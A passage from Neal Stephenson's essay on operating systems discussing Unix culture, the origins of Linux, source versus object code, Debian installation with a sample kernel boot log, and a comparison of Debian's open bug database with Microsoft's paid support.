cartoon. Windows 95 and MacOS are products, contrived by engineers in the service of specific companies. Unix, by contrast, is not so much a product as it is a painstakingly compiled oral history of the hacker subculture. It is our Gilgamesh epic. What made old epics like Gilgamesh so powerful and so long-lived was that they were living bodies of narrative that many people knew by heart, and told over and over again--making their own personal embellishments whenever it struck their fancy. The bad embellishments were shouted down, the good ones picked up by others, polished, improved, and, over time, incorporated into the story. Likewise, Unix is known, loved, and understood by so many hackers that it can be re-created from scratch whenever someone needs it. This is very difficult to understand for people who are accustomed to thinking of OSes as things that absolutely have to be bought. Many hackers have launched more or less successful re-implementations of the Unix ideal. Each one brings in new embellishments. Some of them die out quickly, some are merged with similar, parallel innovations created by different hackers attacking the same problem, others still are embraced, and adopted into the epic. Thus Unix has slowly accreted around a simple kernel and acquired a kind of complexity and asymmetry about it that is organic, like the roots of a tree, or the branchings of a coronary artery. Understanding it is more like anatomy than physics. For at least a year, prior to my adoption of Linux, I had been hearing about it. Credible, well-informed people kept telling me that a bunch of hackers had got together an implentation of Unix that could be downloaded, free of charge, from the Internet. For a long time I could not bring myself to take the notion seriously. It was like hearing rumors that a group of model rocket enthusiasts had created a completely functional Saturn V by exchanging blueprints on the Net and mailing valves and flanges to each other. But it's true. Credit for Linux generally goes to its human namesake, one Linus Torvalds, a Finn who got the whole thing rolling in 1991 when he used some of the GNU tools to write the beginnings of a Unix kernel that could run on PC-compatible hardware. And indeed Torvalds deserves all the credit he has ever gotten, and a whole lot more. But he could not have made it happen by himself, any more than Richard Stallman could have. To write code at all, Torvalds had to have cheap but powerful development tools, and these he got from Stallman's GNU project. And he had to have cheap hardware on which to write that code. Cheap hardware is a much harder thing to arrange than cheap software; a single person (Stallman) can write software and put it up on the Net for free, but in order to make hardware it's necessary to have a whole industrial infrastructure, which is not cheap by any stretch of the imagination. Really the only way to make hardware cheap is to punch out an incredible number of copies of it, so that the unit cost eventually drops. For reasons already explained, Apple had no desire to see the cost of hardware drop. The only reason Torvalds had cheap hardware was Microsoft. Microsoft refused to go into the hardware business, insisted on making its software run on hardware that anyone could build, and thereby created the market conditions that allowed hardware prices to plummet. In trying to understand the Linux phenomenon, then, we have to look not to a single innovator but to a sort of bizarre Trinity: Linus Torvalds, Richard Stallman, and Bill Gates. Take away any of these three and Linux would not exist. OS SHOCK Young Americans who leave their great big homogeneous country and visit some other part of the world typically go through several stages of culture shock: first, dumb wide-eyed astonishment. Then a tentative engagement with the new country's manners, cuisine, public transit systems and toilets, leading to a brief period of fatuous confidence that they are instant experts on the new country. As the visit wears on, homesickness begins to set in, and the traveler begins to appreciate, for the first time, how much he or she took for granted at home. At the same time it begins to seem obvious that many of one's own cultures and traditions are essentially arbitrary, and could have been different; driving on the right side of the road, for example. When the traveler returns home and takes stock of the experience, he or she may have learned a good deal more about America than about the country they went to visit. For the same reasons, Linux is worth trying. It is a strange country indeed, but you don't have to live there; a brief sojourn suffices to give some flavor of the place and--more importantly--to lay bare everything that is taken for granted, and all that could have been done differently, under Windows or MacOS. You can't try it unless you install it. With any other OS, installing it would be a straightforward transaction: in exchange for money, some company would give you a CD-ROM, and you would be on your way. But a lot is subsumed in that kind of transaction, and has to be gone through and picked apart. We like plain dealings and straightforward transactions in America. If you go to Egypt and, say, take a taxi somewhere, you become a part of the taxi driver's life; he refuses to take your money because it would demean your friendship, he follows you around town, and weeps hot tears when you get in some other guy's taxi. You end up meeting his kids at some point, and have to devote all sort of ingenuity to finding some way to compensate him without insulting his honor. It is exhausting. Sometimes you just want a simple Manhattan-style taxi ride. But in order to have an American-style setup, where you can just go out and hail a taxi and be on your way, there must exist a whole hidden apparatus of medallions, inspectors, commissions, and so forth--which is fine as long as taxis are cheap and you can always get one. When the system fails to work in some way, it is mysterious and infuriating and turns otherwise reasonable people into conspiracy theorists. But when the Egyptian system breaks down, it breaks down transparently. You can't get a taxi, but your driver's nephew will show up, on foot, to explain the problem and apologize. Microsoft and Apple do things the Manhattan way, with vast complexity hidden behind a wall of interface. Linux does things the Egypt way, with vast complexity strewn about all over the landscape. If you've just flown in from Manhattan, your first impulse will be to throw up your hands and say "For crying out loud! Will you people get a grip on yourselves!?" But this does not make friends in Linux-land any better than it would in Egypt. You can suck Linux right out of the air, as it were, by downloading the right files and putting them in the right places, but there probably are not more than a few hundred people in the world who could create a functioning Linux system in that way. What you really need is a distribution of Linux, which means a prepackaged set of files. But distributions are a separate thing from Linux per se. Linux per se is not a specific set of ones and zeroes, but a self-organizing Net subculture. The end result of its collective lucubrations is a vast body of source code, almost all written in C (the dominant computer programming language). "Source code" just means a computer program as typed in and edited by some hacker. If it's in C, the file name will probably have .c or .cpp on the end of it, depending on which dialect was used; if it's in some other language it will have some other suffix. Frequently these sorts of files can be found in a directory with the name /src which is the hacker's Hebraic abbreviation of "source." Source files are useless to your computer, and of little interest to most users, but they are of gigantic cultural and political significance, because Microsoft and Apple keep them secret while Linux makes them public. They are the family jewels. They are the sort of thing that in Hollywood thrillers is used as a McGuffin: the plutonium bomb core, the top-secret blueprints, the suitcase of bearer bonds, the reel of microfilm. If the source files for Windows or MacOS were made public on the Net, then those OSes would become free, like Linux--only not as good, because no one would be around to fix bugs and answer questions. Linux is "open source" software meaning, simply, that anyone can get copies of its source code files. Your computer doesn't want source code any more than you do; it wants object code. Object code files typically have the suffix .o and are unreadable all but a few, highly strange humans, because they consist of ones and zeroes. Accordingly, this sort of file commonly shows up in a directory with the name /bin, for "binary." Source files are simply ASCII text files. ASCII denotes a particular way of encoding letters into bit patterns. In an ASCII file, each character has eight bits all to itself. This creates a potential "alphabet" of 256 distinct characters, in that eight binary digits can form that many unique patterns. In practice, of course, we tend to limit ourselves to the familiar letters and digits. The bit-patterns used to represent those letters and digits are the same ones that were physically punched into the paper tape by my high school teletype, which in turn were the same one used by the telegraph industry for decades previously. ASCII text files, in other words, are telegrams, and as such they have no typographical frills. But for the same reason they are eternal, because the code never changes, and universal, because every text editing and word processing software ever written knows about this code. Therefore just about any software can be used to create, edit, and read source code files. Object code files, then, are created from these source files by a piece of software called a compiler, and forged into a working application by another piece of software called a linker. The triad of editor, compiler, and linker, taken together, form the core of a software development system. Now, it is possible to spend a lot of money on shrink-wrapped development systems with lovely graphical user interfaces and various ergonomic enhancements. In some cases it might even be a good and reasonable way to spend money. But on this side of the road, as it were, the very best software is usually the free stuff. Editor, compiler and linker are to hackers what ponies, stirrups, and archery sets were to the Mongols. Hackers live in the saddle, and hack on their own tools even while they are using them to create new applications. It is quite inconceivable that superior hacking tools could have been created from a blank sheet of paper by product engineers. Even if they are the brightest engineers in the world they are simply outnumbered. In the GNU/Linux world there are two major text editing programs: the minimalist vi (known in some implementations as elvis) and the maximalist emacs. I use emacs, which might be thought of as a thermonuclear word processor. It was created by Richard Stallman; enough said. It is written in Lisp, which is the only computer language that is beautiful. It is colossal, and yet it only edits straight ASCII text files, which is to say, no fonts, no boldface, no underlining. In other words, the engineer-hours that, in the case of Microsoft Word, were devoted to features like mail merge, and the ability to embed feature-length motion pictures in corporate memoranda, were, in the case of emacs, focused with maniacal intensity on the deceptively simple-seeming problem of editing text. If you are a professional writer--i.e., if someone else is getting paid to worry about how your words are formatted and printed--emacs outshines all other editing software in approximately the same way that the noonday sun does the stars. It is not just bigger and brighter; it simply makes everything else vanish. For page layout and printing you can use TeX: a vast corpus of typesetting lore written in C and also available on the Net for free. I could say a lot about emacs and TeX, but right now I am trying to tell a story about how to actually install Linux on your machine. The hard-core survivalist approach would be to download an editor like emacs, and the GNU Tools--the compiler and linker--which are polished and excellent to the same degree as emacs. Equipped with these, one would be able to start downloading ASCII source code files (/src) and compiling them into binary object code files (/bin) that would run on the machine. But in order to even arrive at this point--to get emacs running, for example--you have to have Linux actually up and running on your machine. And even a minimal Linux operating system requires thousands of binary files all acting in concert, and arranged and linked together just so. Several entities have therefore taken it upon themselves to create "distributions" of Linux. If I may extend the Egypt analogy slightly, these entities are a bit like tour guides who meet you at the airport, who speak your language, and who help guide you through the initial culture shock. If you are an Egyptian, of course, you see it the other way; tour guides exist to keep brutish outlanders from traipsing through your mosques and asking you the same questions over and over and over again. Some of these tour guides are commercial organizations, such as Red Hat Software, which makes a Linux distribution called Red Hat that has a relatively commercial sheen to it. In most cases you put a Red Hat CD-ROM into your PC and reboot and it handles the rest. Just as a tour guide in Egypt will expect some sort of compensation for his services, commercial distributions need to be paid for. In most cases they cost almost nothing and are well worth it. I use a distribution called Debian (the word is a contraction of "Deborah" and "Ian") which is non-commercial. It is organized (or perhaps I should say "it has organized itself") along the same lines as Linux in general, which is to say that it consists of volunteers who collaborate over the Net, each responsible for looking after a different chunk of the system. These people have broken Linux down into a number of packages, which are compressed files that can be downloaded to an already functioning Debian Linux system, then opened up and unpacked using a free installer application. Of course, as such, Debian has no commercial arm--no distribution mechanism. You can download all Debian packages over the Net, but most people will want to have them on a CD-ROM. Several different companies have taken it upon themselves to decoct all of the current Debian packages onto CD-ROMs and then sell them. I buy mine from Linux Systems Labs. The cost for a three-disc set, containing Debian in its entirety, is less than three dollars. But (and this is an important distinction) not a single penny of that three dollars is going to any of the coders who created Linux, nor to the Debian packagers. It goes to Linux Systems Labs and it pays, not for the software, or the packages, but for the cost of stamping out the CD-ROMs. Every Linux distribution embodies some more or less clever hack for circumventing the normal boot process and causing your computer, when it is turned on, to organize itself, not as a PC running Windows, but as a "host" running Unix. This is slightly alarming the first time you see it, but completely harmless. When a PC boots up, it goes through a little self-test routine, taking an inventory of available disks and memory, and then begins looking around for a disk to boot up from. In any normal Windows computer that disk will be a hard drive. But if you have your system configured right, it will look first for a floppy or CD-ROM disk, and boot from that if one is available. Linux exploits this chink in the defenses. Your computer notices a bootable disk in the floppy or CD-ROM drive, loads in some object code from that disk, and blindly begins to execute it. But this is not Microsoft or Apple code, this is Linux code, and so at this point your computer begins to behave very differently from what you are accustomed to. Cryptic messages began to scroll up the screen. If you had booted a commercial OS, you would, at this point, be seeing a "Welcome to MacOS" cartoon, or a screen filled with clouds in a blue sky, and a Windows logo. But under Linux you get a long telegram printed in stark white letters on a black screen. There is no "welcome!" message. Most of the telegram has the semi-inscrutable menace of graffiti tags. Dec 14 15:04:15 theRev syslogd 1.3-3#17: restart. Dec 14 15:04:15 theRev kernel: klogd 1.3-3, log source = /proc/kmsg started. Dec 14 15:04:15 theRev kernel: Loaded 3535 symbols from /System.map. Dec 14 15:04:15 theRev kernel: Symbols match kernel version 2.0.30. Dec 14 15:04:15 theRev kernel: No module symbols loaded. Dec 14 15:04:15 theRev kernel: Intel MultiProcessor Specification v1.4 Dec 14 15:04:15 theRev kernel: Virtual Wire compatibility mode. Dec 14 15:04:15 theRev kernel: OEM ID: INTEL Product ID: 440FX APIC at: 0xFEE00000 Dec 14 15:04:15 theRev kernel: Processor #0 Pentium(tm) Pro APIC version 17 Dec 14 15:04:15 theRev kernel: Processor #1 Pentium(tm) Pro APIC version 17 Dec 14 15:04:15 theRev kernel: I/O APIC #2 Version 17 at 0xFEC00000. Dec 14 15:04:15 theRev kernel: Processors: 2 Dec 14 15:04:15 theRev kernel: Console: 16 point font, 400 scans Dec 14 15:04:15 theRev kernel: Console: colour VGA+ 80x25, 1 virtual console (max 63) Dec 14 15:04:15 theRev kernel: pcibios_init : BIOS32 Service Directory structure at 0x000fdb70 Dec 14 15:04:15 theRev kernel: pcibios_init : BIOS32 Service Directory entry at 0xfdb80 Dec 14 15:04:15 theRev kernel: pcibios_init : PCI BIOS revision 2.10 entry at 0xfdba1 Dec 14 15:04:15 theRev kernel: Probing PCI hardware. Dec 14 15:04:15 theRev kernel: Warning : Unknown PCI device (10b7:9001). Please read include/linux/pci.h Dec 14 15:04:15 theRev kernel: Calibrating delay loop.. ok - 179.40 BogoMIPS Dec 14 15:04:15 theRev kernel: Memory: 64268k/66556k available (700k kernel code, 384k reserved, 1204k data) Dec 14 15:04:15 theRev kernel: Swansea University Computer Society NET3.035 for Linux 2.0 Dec 14 15:04:15 theRev kernel: NET3: Unix domain sockets 0.13 for Linux NET3.035. Dec 14 15:04:15 theRev kernel: Swansea University Computer Society TCP/IP for NET3.034 Dec 14 15:04:15 theRev kernel: IP Protocols: ICMP, UDP, TCP Dec 14 15:04:15 theRev kernel: Checking 386/387 coupling... Ok, fpu using exception 16 error reporting. Dec 14 15:04:15 theRev kernel: Checking 'hlt' instruction... Ok. Dec 14 15:04:15 theRev kernel: Linux version 2.0.30 (root@theRev) (gcc version 2.7.2.1) #15 Fri Mar 27 16:37:24 PST 1998 Dec 14 15:04:15 theRev kernel: Booting processor 1 stack 00002000: Calibrating delay loop.. ok - 179.40 BogoMIPS Dec 14 15:04:15 theRev kernel: Total of 2 processors activated (358.81 BogoMIPS). Dec 14 15:04:15 theRev kernel: Serial driver version 4.13 with no serial options enabled Dec 14 15:04:15 theRev kernel: tty00 at 0x03f8 (irq = 4) is a 16550A Dec 14 15:04:15 theRev kernel: tty01 at 0x02f8 (irq = 3) is a 16550A Dec 14 15:04:15 theRev kernel: lp1 at 0x0378, (polling) Dec 14 15:04:15 theRev kernel: PS/2 auxiliary pointing device detected -- driver installed. Dec 14 15:04:15 theRev kernel: Real Time Clock Driver v1.07 Dec 14 15:04:15 theRev kernel: loop: registered device at major 7 Dec 14 15:04:15 theRev kernel: ide: i82371 PIIX (Triton) on PCI bus 0 function 57 Dec 14 15:04:15 theRev kernel: ide0: BM-DMA at 0xffa0-0xffa7 Dec 14 15:04:15 theRev kernel: ide1: BM-DMA at 0xffa8-0xffaf Dec 14 15:04:15 theRev kernel: hda: Conner Peripherals 1275MB - CFS1275A, 1219MB w/64kB Cache, LBA, CHS=619/64/63 Dec 14 15:04:15 theRev kernel: hdb: Maxtor 84320A5, 4119MB w/256kB Cache, LBA, CHS=8928/15/63, DMA Dec 14 15:04:15 theRev kernel: hdc: , ATAPI CDROM drive Dec 15 11:58:06 theRev kernel: ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 Dec 15 11:58:06 theRev kernel: ide1 at 0x170-0x177,0x376 on irq 15 Dec 15 11:58:06 theRev kernel: Floppy drive(s): fd0 is 1.44M Dec 15 11:58:06 theRev kernel: Started kswapd v 1.4.2.2 Dec 15 11:58:06 theRev kernel: FDC 0 is a National Semiconductor PC87306 Dec 15 11:58:06 theRev kernel: md driver 0.35 MAX_MD_DEV=4, MAX_REAL=8 Dec 15 11:58:06 theRev kernel: PPP: version 2.2.0 (dynamic channel allocation) Dec 15 11:58:06 theRev kernel: TCP compression code copyright 1989 Regents of the University of California Dec 15 11:58:06 theRev kernel: PPP Dynamic channel allocation code copyright 1995 Caldera, Inc. Dec 15 11:58:06 theRev kernel: PPP line discipline registered. Dec 15 11:58:06 theRev kernel: SLIP: version 0.8.4-NET3.019-NEWTTY (dynamic channels, max=256). Dec 15 11:58:06 theRev kernel: eth0: 3Com 3c900 Boomerang 10Mbps/Combo at 0xef00, 00:60:08:a4:3c:db, IRQ 10 Dec 15 11:58:06 theRev kernel: 8K word-wide RAM 3:5 Rx:Tx split, 10base2 interface. Dec 15 11:58:06 theRev kernel: Enabling bus-master transmits and whole-frame receives. Dec 15 11:58:06 theRev kernel: 3c59x.c:v0.49 1/2/98 Donald Becker http://cesdis.gsfc.nasa.gov/linux/drivers/vortex.html Dec 15 11:58:06 theRev kernel: Partition check: Dec 15 11:58:06 theRev kernel: hda: hda1 hda2 hda3 Dec 15 11:58:06 theRev kernel: hdb: hdb1 hdb2 Dec 15 11:58:06 theRev kernel: VFS: Mounted root (ext2 filesystem) readonly. Dec 15 11:58:06 theRev kernel: Adding Swap: 16124k swap-space (priority -1) Dec 15 11:58:06 theRev kernel: EXT2-fs warning: maximal mount count reached, running e2fsck is recommended Dec 15 11:58:06 theRev kernel: hdc: media changed Dec 15 11:58:06 theRev kernel: ISO9660 Extensions: RRIP_1991A Dec 15 11:58:07 theRev syslogd 1.3-3#17: restart. Dec 15 11:58:09 theRev diald[87]: Unable to open options file /etc/diald/diald.options: No such file or directory Dec 15 11:58:09 theRev diald[87]: No device specified. You must have at least one device! Dec 15 11:58:09 theRev diald[87]: You must define a connector script (option 'connect'). Dec 15 11:58:09 theRev diald[87]: You must define the remote ip address. Dec 15 11:58:09 theRev diald[87]: You must define the local ip address. Dec 15 11:58:09 theRev diald[87]: Terminating due to damaged reconfigure. The only parts of this that are readable, for normal people, are the error messages and warnings. And yet it's noteworthy that Linux doesn't stop, or crash, when it encounters an error; it spits out a pithy complaint, gives up on whatever processes were damaged, and keeps on rolling. This was decidedly not true of the early versions of Apple and Microsoft OSes, for the simple reason that an OS that is not capable of walking and chewing gum at the same time cannot possibly recover from errors. Looking for, and dealing with, errors requires a separate process running in parallel with the one that has erred. A kind of superego, if you will, that keeps an eye on all of the others, and jumps in when one goes astray. Now that MacOS and Windows can do more than one thing at a time they are much better at dealing with errors than they used to be, but they are not even close to Linux or other Unices in this respect; and their greater complexity has made them vulnerable to new types of errors. FALLIBILITY, ATONEMENT, REDEMPTION, TRUST, AND OTHER ARCANE TECHNICAL CONCEPTS Linux is not capable of having any centrally organized policies dictating how to write error messages and documentation, and so each programmer writes his own. Usually they are in English even though tons of Linux programmers are Europeans. Frequently they are funny. Always they are honest. If something bad has happened because the software simply isn't finished yet, or because the user screwed something up, this will be stated forthrightly. The command line interface makes it easy for programs to dribble out little comments, warnings, and messages here and there. Even if the application is imploding like a damaged submarine, it can still usually eke out a little S.O.S. message. Sometimes when you finish working with a program and shut it down, you find that it has left behind a series of mild warnings and low-grade error messages in the command-line interface window from which you launched it. As if the software were chatting to you about how it was doing the whole time you were working with it. Documentation, under Linux, comes in the form of man (short for manual) pages. You can access these either through a GUI (xman) or from the command line (man). Here is a sample from the man page for a program called rsh: "Stop signals stop the local rsh process only; this is arguably wrong, but currently hard to fix for reasons too complicated to explain here." The man pages contain a lot of such material, which reads like the terse mutterings of pilots wrestling with the controls of damaged airplanes. The general feel is of a thousand monumental but obscure struggles seen in the stop-action light of a strobe. Each programmer is dealing with his own obstacles and bugs; he is too busy fixing them, and improving the software, to explain things at great length or to maintain elaborate pretensions. In practice you hardly ever encounter a serious bug while running Linux. When you do, it is almost always with commercial software (several vendors sell software that runs under Linux). The operating system and its fundamental utility programs are too important to contain serious bugs. I have been running Linux every day since late 1995 and have seen many application programs go down in flames, but I have never seen the operating system crash. Never. Not once. There are quite a few Linux systems that have been running continuously and working hard for months or years without needing to be rebooted. Commercial OSes have to adopt the same official stance towards errors as Communist countries had towards poverty. For doctrinal reasons it was not possible to admit that poverty was a serious problem in Communist countries, because the whole point of Communism was to eradicate poverty. Likewise, commercial OS companies like Apple and Microsoft can't go around admitting that their software has bugs and that it crashes all the time, any more than Disney can issue press releases stating that Mickey Mouse is an actor in a suit. This is a problem, because errors do exist and bugs do happen. Every few months Bill Gates tries to demo a new Microsoft product in front of a large audience only to have it blow up in his face. Commercial OS vendors, as a direct consequence of being commercial, are forced to adopt the grossly disingenuous position that bugs are rare aberrations, usually someone else's fault, and therefore not really worth talking about in any detail. This posture, which everyone knows to be absurd, is not limited to press releases and ad campaigns. It informs the whole way these companies do business and relate to their customers. If the documentation were properly written, it would mention bugs, errors, and crashes on every single page. If the on-line help systems that come with these OSes reflected the experiences and concerns of their users, they would largely be devoted to instructions on how to cope with crashes and errors. But this does not happen. Joint stock corporations are wonderful inventions that have given us many excellent goods and services. They are good at many things. Admitting failure is not one of them. Hell, they can't even admit minor shortcomings. Of course, this behavior is not as pathological in a corporation as it would be in a human being. Most people, nowadays, understand that corporate press releases are issued for the benefit of the corporation's shareholders and not for the enlightenment of the public. Sometimes the results of this institutional dishonesty can be dreadful, as with tobacco and asbestos. In the case of commercial OS vendors it is nothing of the kind, of course; it is merely annoying. Some might argue that consumer annoyance, over time, builds up into a kind of hardened plaque that can conceal serious decay, and that honesty might therefore be the best policy in the long run; the jury is still out on this in the operating system market. The business is expanding fast enough that it's still much better to have billions of chronically annoyed customers than millions of happy ones. Most system administrators I know who work with Windows NT all the time agree that when it hits a snag, it has to be re-booted, and when it gets seriously messed up, the only way to fix it is to re-install the operating system from scratch. Or at least this is the only way that they know of to fix it, which amounts to the same thing. It is quite possible that the engineers at Microsoft have all sorts of insider knowledge on how to fix the system when it goes awry, but if they do, they do not seem to be getting the message out to any of the actual system administrators I know. Because Linux is not commercial--because it is, in fact, free, as well as rather difficult to obtain, install, and operate--it does not have to maintain any pretensions as to its reliability. Consequently, it is much more reliable. When something goes wrong with Linux, the error is noticed and loudly discussed right away. Anyone with the requisite technical knowledge can go straight to the source code and point out the source of the error, which is then rapidly fixed by whichever hacker has carved out responsibility for that particular program. As far as I know, Debian is the only Linux distribution that has its own constitution (http://www.debian.org/devel/constitution), but what really sold me on it was its phenomenal bug database (http://www.debian.org/Bugs), which is a sort of interactive Doomsday Book of error, fallibility, and redemption. It is simplicity itself. When had a problem with Debian in early January of 1997, I sent in a message describing the problem to submit@bugs.debian.org. My problem was promptly assigned a bug report number (#6518) and a severity level (the available choices being critical, grave, important, normal, fixed, and wishlist) and forwarded to mailing lists where Debian people hang out. Within twenty-four hours I had received five e-mails telling me how to fix the problem: two from North America, two from Europe, and one from Australia. All of these e-mails gave me the same suggestion, which worked, and made my problem go away. But at the same time, a transcript of this exchange was posted to Debian's bug database, so that if other users had the same problem later, they would be able to search through and find the solution without having to enter a new, redundant bug report. Contrast this with the experience that I had when I tried to install Windows NT 4.0 on the very same machine about ten months later, in late 1997. The installation program simply stopped in the middle with no error messages. I went to the Microsoft Support website and tried to perform a search for existing help documents that would address my problem. The search engine was completely nonfunctional; it did nothing at all. It did not even give me a message telling me that it was not working. Eventually I decided that my motherboard must be at fault; it was of a slightly unusual make and model, and NT did not support as many different motherboards as Linux. I am always looking for excuses, no matter how feeble, to buy new hardware, so I bought a new motherboard that was Windows NT logo-compatible, meaning that the Windows NT logo was printed right on the box. I installed this into my computer and got Linux running right away, then attempted to install Windows NT again. Again, the installation died without any error message or explanation. By this time a couple of weeks had gone by and I thought that perhaps the search engine on the Microsoft Support website might be up and running. I gave that a try but it still didn't work. So I created a new Microsoft support account, then logged on to submit the incident. I supplied my product ID number when asked, and then began to follow the instructions on a series of help screens. In other words, I was submitting a bug report just as with the Debian bug tracking system. It's just that the interface was slicker--I was typing my complaint into little text-editing boxes on Web forms, doing it all through the GUI, whereas with Debian you send in an e-mail telegram. I knew that when I was finished submitting the bug report, it would become proprietary Microsoft information, and other users wouldn't be able to see it. Many Linux users would refuse to participate in such a scheme on ethical grounds, but I was willing to give it a shot as an experiment. In the end, though I was never able to submit my bug report, because the series of linked web pages that I was filling out eventually led me to a completely blank page: a dead end. So I went back and clicked on the buttons for "phone support" and eventually was given a Microsoft telephone number. When I dialed this number I got a series of piercing beeps and a recorded message from the phone company saying "We're sorry, your call cannot be completed as dialed." I tried the search page again--it was still completely nonfunctional. Then I tried PPI (Pay Per Incident) again. This led me through another series of Web pages until I dead-ended at one reading: "Notice-there is no Web page matching your request." I tried it again, and eventually got to a Pay Per Incident screen reading: "OUT OF INCIDENTS. There are no unused incidents left in your account. If you would like to purchase a support incident, click OK-you will then be able to prepay for an incident...." The cost per incident was $95. The experiment was beginning to seem rather expensive, so I gave up on the PPI approach and decided to have a go at the FAQs posted on Microsoft's website. None of the available FAQs had anything to do with my problem except for one entitled "I am having some problems installing NT" which appeared to have been written by flacks, not engineers. So I gave up and still, to this day, have never gotten Windows NT installed on that particular machine. For me, the path of least resistance was simply to use Debian Linux. In the world of open source software, bug reports are useful information. Making them public is a service to other users, and improves the OS. Making them public systematically is so important that highly intelligent people voluntarily put time and money into running bug databases. In the commercial OS world, however, reporting a bug is a privilege that you have to pay lots of money for. But if you pay for it, it follows that the bug report must be kept confidential--otherwise anyone could get the benefit of your ninety-five bucks! And yet nothing prevents NT users from setting up their own public bug database. This is, in other words, another feature of the OS market that simply makes no sense unless you view it in the context of culture. What Microsoft is selling through Pay Per Incident isn't technical support so much as the continued illusion that its customers are engaging in some kind of rational business transaction. It is a sort of routine maintenance fee for the upkeep of the fantasy. If people really wanted a solid OS they would use Linux, and if they really wanted tech support they would find a way to get it; Microsoft's customers want something else. As of this writing (Jan. 1999), something like 32,000 bugs have been reported to the Debian Linux bug database. Almost all of them have been fixed a long time ago. There are twelve "critical" bugs still outstanding, of which the oldest was posted 79 days ago. There are 20 outstanding "grave" bugs of which the oldest is 1166 days old. There are 48 "important" bugs and hundreds of "normal" and less important ones. Likewise, BeOS (which I'll get to in a minute) has its own bug database (http://www.be.com/developers/bugs/index.html) with its own classification system, including such categories as "Not a Bug," "Acknowledged Feature," and "Will Not Fix." Some of the "bugs" here are nothing more than Be hackers blowing off steam, and are classified as "Input Acknowledged." For example, I found one that was posted on December 30th, 1998. It's in the middle of a long list of bugs, wedged between one entitled "Mouse working in very strange fashion" and another called "Change of BView frame does not affect, if BView not attached to a BWindow." This one is entitled R4: BeOS missing megalomaniacal figurehead to harness and focus developer rage and it goes like this: ---------------------------- Be Status: Input Acknowledged BeOS Version: R3.2 Component: unknown Full Description: The BeOS needs a megalomaniacal egomaniac sitting on its throne to give it a human character which everyone loves to hate. Without this, the BeOS will languish in the impersonifiable realm of OSs that people can never quite get a handle on. You can judge the success of an OS not by the quality of its features, but by how infamous and disliked the leaders behind them are. I believe this is a side-effect of developer comraderie under miserable conditions. After all, misery loves company. I believe that making the BeOS less conceptually accessible and far less reliable will require developers to band together, thus developing the kind of community where strangers talk to one- another, kind of like at a grocery store before a huge snowstorm. Following this same program, it will likely be necessary to move the BeOS headquarters to a far-less-comfortable climate. General environmental discomfort will breed this attitude within and there truly is no greater recipe for success. I would suggest Seattle, but I think it's already taken. You might try Washington, DC, but definitely not somewhere like San Diego or Tucson. ---------------------------- Unfortunately, the Be bug reporting system strips off the names of the people who report the bugs (to protect them from retribution!?) and so I don't know who wrote this. So it would appear that I'm in the middle of crowing about the technical and moral superiority of Debian Linux. But as almost always happens in the OS world, it's more complicated than that. I have Windows NT running on another machine, and the other day (Jan. 1999), when I had a problem with it, I decided to have another go at Microsoft Support. This time the search engine actually worked (though in order to reach it I had to identify myself as "advanced"). And instead of coughing up some useless FAQ, it located about two hundred documents (I was using very vague search criteria) that were obviously bug reports--though they were called something else. Microsoft, in other words, has got a system up and running that is functionally equivalent to Debian's bug database. It looks and feels different, of course, but it contains technical nitty-gritty and makes no bones about the existence of errors. As I've explained, selling OSes for money is a basically untenable position, and the only way Apple and Microsoft can get away with it is by pursuing technological advancements as aggressively as they can, and by getting people to believe in, and to pay for, a particular image: in the case of Apple, that of the creative free thinker, and in the case of Microsoft, that of the respectable techno-bourgeois. Just like Disney, they're making money from selling an interface, a magic mirror. It has to be polished and seamless or else the whole illusion is ruined and the business plan vanishes like a mirage. Accordingly, it was the case until recently that the people who wrote manuals and created customer support websites for commercial OSes seemed to have been barred, by their employers' legal or PR departments, from admitting, even obliquely, that the software might contain bugs or that the interface might be suffering from the blinking twelve problem. They couldn't address users' actual difficulties. The manuals and websites were therefore useless, and caused even technically self-assured users to wonder whether they were going subtly insane. When Apple engages in this sort of corporate behavior, one wants to believe that they are really trying their best. We all want to give Apple the benefit of the doubt, because mean old Bill Gates kicked the crap out of them, and because they have good PR. But when Microsoft does it, one almost cannot help becoming a paranoid conspiracist. Obviously they are hiding something from us! And yet they are so powerful! They are trying to drive us crazy! This approach to dealing with one's customers was straight out of the Central European totalitarianism of the mid-Twentieth Century. The adjectives "Kafkaesque" and "Orwellian" come to mind. It couldn't last, any more than the Berlin Wall could, and so now Microsoft has a publicly available bug database. It's called something else, and it takes a while to find it, but it's there. They have, in other words, adapted to the two-tiered Eloi/Morlock structure of technological society. If you're an Eloi you install Windows, follow the instructions, hope for the best, and dumbly suffer when it breaks. If you're a Morlock you go to the website, tell it that you are "advanced," find the bug database, and get the truth straight from some anonymous Microsoft engineer. But once Microsoft has taken this step, it raises the question, once again, of whether there is any point to being in the OS business at all. Customers might be willing to pay $95 to report a problem to Microsoft if, in return, they get some advice that no other user is getting. This has the useful side effect of keeping the users alienated from one another, which helps maintain the illusion that bugs are rare aberrations. But once the results of those bug reports become openly available on the Microsoft website, everything changes. No one is going to cough up $95 to report a problem when chances are good that some other sucker will do it first, and that instructions on how to fix the bug will then show up, for free, on a public website. And as the size of the bug database grows, it eventually becomes an open admission, on Microsoft's part, that their OSes have just as many bugs as their competitors'. There is no shame in that; as I mentioned, Debian's bug database has logged 32,000 reports so far. But it puts Microsoft on an equal footing with the others and makes it a lot harder for their customers--who want to believe--to believe. MEMENTO MORI Once the Linux machine has finished spitting out its jargonic opening telegram, it prompts me to log in with a user name and a password. At this point the machine is still running the command line interface, with white letters on a black screen. There are no windows, menus, or buttons. It does not respond to the mouse; it doesn't even know that the mouse is there. It is still possible to run a lot of software at this point. Emacs, for example, exists in both a CLI and a GUI version (actually there are two GUI versions, reflecting some sort of doctrinal schism between Richard Stallman and some hackers who got fed up with him). The same is true of many other Unix programs. Many don't have a GUI at all, and many that do are capable of running from the command line. Of course, since my computer only has one monitor screen, I can only see one command line, and so you might think that I could only interact with one program at a time. But if I hold down the Alt key and then hit the F2 function button at the top of my keyboard, I am presented with a fresh, blank, black screen with a login prompt at the top of it. I can log in here and start some other program, then hit Alt-F1 and go back to the first screen, which is still doing whatever it was when I left it. Or I can do Alt-F3 and log in to a third screen, or a fourth, or a fifth. On one of these screens I might be logged in as myself, on another as root (the system administrator), on yet another I might be logged on to some other computer over the Internet. Each of these screens is called, in Unix-speak, a tty, which is an abbreviation for teletype. So when I use my Linux system in this way I am going right back to that small room at Ames High School where I first wrote code twenty-five years ago, except that a tty is quieter and faster than a teletype, and capable of running vastly superior software, such as emacs or the GNU development tools. It is easy (easy by Unix, not Apple/Microsoft standards) to configure a Linux machine so that it will go directly into a GUI when you boot it up. This way, you never see a tty screen at all. I still have mine 